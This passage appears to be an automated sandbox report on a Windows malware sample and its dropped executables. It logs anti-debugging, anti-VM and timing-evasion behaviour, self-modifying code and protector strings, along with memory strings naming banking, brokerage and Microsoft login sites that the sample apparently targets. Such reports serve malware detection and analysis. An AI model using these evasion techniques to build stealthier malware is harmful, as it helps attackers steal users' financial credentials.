Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: E1E978 second address: E1E9E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007EFDB8CDCB0Dh 0x0000000b pop edi 0x0000000c popad 0x0000000d add dword ptr [esp], 1D56AF01h 0x00000014 pushad 0x00000015 or si, 5F81h 0x0000001a add edi, 598DF900h 0x00000020 popad 0x00000021 sub edx, 5C354963h 0x00000027 push 00000003h 0x00000029 mov dword ptr [ebp+122D34AEh], eax 0x0000002f push 00000000h 0x00000031 sbb esi, 0C6E2521h 0x00000037 jg 00007EFDB8CDCB08h 0x0000003d mov edi, eax 0x0000003f push 00000003h 0x00000041 pushad 0x00000042 sub edx, 2F1F4011h 0x00000048 mov ch, bh 0x0000004a popad 0x0000004b call 00007EFDB8CDCB09h 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 pushad 0x00000054 popad 0x00000055 jmp 00007EFDB8CDCB0Eh 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: E1E9E8 second address: E1E9ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: E1E9ED second address: E1EA0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007EFDB8CDCB14h 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: E1EA0D second address: E1EA2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007EFDB8F26A1Eh 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	RDTSC instruction interceptor: First address: E1EA2C second address: E1EA49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007EFDB8CDCB08h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jnc 00007EFDB8CDCB06h 0x0000001d rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F3EBB2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10ED4B2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 111671C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F3EBEB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Special instruction interceptor: First address: C9DE15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Special instruction interceptor: First address: C9B4B6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Special instruction interceptor: First address: E6BF6A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Special instruction interceptor: First address: 53EDE4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Special instruction interceptor: First address: EE1F9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Special instruction interceptor: First address: 53EE9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Special instruction interceptor: First address: 6E335D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Special instruction interceptor: First address: 53C5CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E3EDE4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E3EE9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FE335D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E3C5CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Special instruction interceptor: First address: CA33A8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Special instruction interceptor: First address: 9BEBB2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Special instruction interceptor: First address: B6D4B2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Special instruction interceptor: First address: B9671C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Special instruction interceptor: First address: 9BEBEB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Special instruction interceptor: First address: 8ADD40 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Special instruction interceptor: First address: ADED53 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Special instruction interceptor: First address: B5DE15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Special instruction interceptor: First address: B5B4B6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Special instruction interceptor: First address: D2BF6A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Special instruction interceptor: First address: DA1F9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Special instruction interceptor: First address: 68EDE4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Special instruction interceptor: First address: 68EE9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Special instruction interceptor: First address: 83335D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Special instruction interceptor: First address: 68C5CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Special instruction interceptor: First address: D1DE15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Special instruction interceptor: First address: D1B4B6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Special instruction interceptor: First address: EEBF6A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Special instruction interceptor: First address: B633A8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Special instruction interceptor: First address: ACEDE4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Special instruction interceptor: First address: ACEE9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Special instruction interceptor: First address: C7335D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Special instruction interceptor: First address: ACC5CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Special instruction interceptor: First address: F61F9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Special instruction interceptor: First address: D233A8 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Memory allocated: 4830000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Memory allocated: 4A00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Memory allocated: 4830000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Memory allocated: 4B00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Memory allocated: 4CE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Memory allocated: 4B00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Memory allocated: 4750000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Memory allocated: 4AB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Memory allocated: 49D0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe

Code function: 3_2_00E1C826 rdtsc

3_2_00E1C826

Source: C:\Users\user\Desktop\file.exe

Code function: 0_3_016AE7AB sldt word ptr [eax+00007366h]

0_3_016AE7AB

Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Window / User API: threadDelayed 8445

Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 5144	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe TID: 3252	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5672	Thread sleep count: 71 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5672	Thread sleep time: -142071s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5008	Thread sleep count: 66 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5008	Thread sleep time: -132066s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6844	Thread sleep count: 281 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6844	Thread sleep time: -8430000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5004	Thread sleep count: 64 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5004	Thread sleep time: -128064s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6648	Thread sleep count: 197 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6648	Thread sleep time: -394197s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5832	Thread sleep count: 74 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5832	Thread sleep time: -148074s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1816	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6648	Thread sleep count: 8445 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6648	Thread sleep time: -16898445s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe TID: 6716	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe TID: 2076	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe TID: 5364	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe TID: 5784	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe TID: 6036	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe TID: 3892	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe TID: 2684	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe TID: 4336	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe TID: 5940	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe TID: 344	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Thread delayed: delay time: 922337203685477

Source: skotes.exe, skotes.exe, 00000006.00000002.2398961739.0000000000FC2000.00000040.00000001.01000000.0000000C.sdmp, 7a5878ed96.exe, 0000000A.00000002.2912103066.0000000000A32000.00000040.00000001.01000000.0000000F.sdmp, 7a5878ed96.exe, 0000001F.00000002.3172124663.0000000000A32000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: num.exe, 0000001D.00000002.3041700292.00000000010EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarey
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: num.exe, 0000001D.00000002.3041700292.000000000114E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWg<
Source: file.exe, 00000000.00000003.2198832216.000000000163E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198832216.000000000161C000.00000004.00000020.00020000.00000000.sdmp, 7a5878ed96.exe, 0000000A.00000002.2913077883.00000000010C2000.00000004.00000020.00020000.00000000.sdmp, 7a5878ed96.exe, 0000000A.00000002.2913077883.0000000001093000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3158390623.0000021CD967A000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001D.00000002.3041700292.000000000114E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001D.00000002.3041700292.000000000111F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158239384.0000023D453CA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3164274908.0000023D45B70000.00000004.00000020.00020000.00000000.sdmp, 7a5878ed96.exe, 0000001F.00000002.3175826524.000000000126A000.00000004.00000020.00020000.00000000.sdmp, 7a5878ed96.exe, 0000001F.00000002.3175826524.0000000001239000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000001A.00000002.3183561232.000002592F1A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3166441616.0000021CD9B14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: firefox.exe, 0000001C.00000002.3171762525.0000021CD9F40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllyp
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: firefox.exe, 0000001A.00000002.3178430475.0000025925540000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWW%Y
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: firefox.exe, 0000001A.00000002.3178430475.0000025925549000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: firefox.exe, 0000001C.00000002.3171762525.0000021CD9F40000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3158390623.0000021CD967A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3164274908.0000023D45B70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 7a5878ed96.exe, 0000000A.00000002.2913077883.00000000010C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWHd
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 7a5878ed96.exe, 0000001F.00000002.3175826524.00000000011FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 1664VO856PFRR45SNXLF.exe, 00000003.00000002.2440175857.0000000000E26000.00000040.00000001.01000000.00000006.sdmp, NX5XML9A4AMIPXG5AGRT0AH025A0.exe, 00000004.00000002.2359758169.00000000006C2000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000005.00000002.2396780958.0000000000FC2000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 00000006.00000002.2398961739.0000000000FC2000.00000040.00000001.01000000.0000000C.sdmp, 7a5878ed96.exe, 0000000A.00000002.2912103066.0000000000A32000.00000040.00000001.01000000.0000000F.sdmp, 7a5878ed96.exe, 0000001F.00000002.3172124663.0000000000A32000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: c1b0009d40.exe, 00000019.00000003.3084594879.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Thread information set: HideFromDebugger
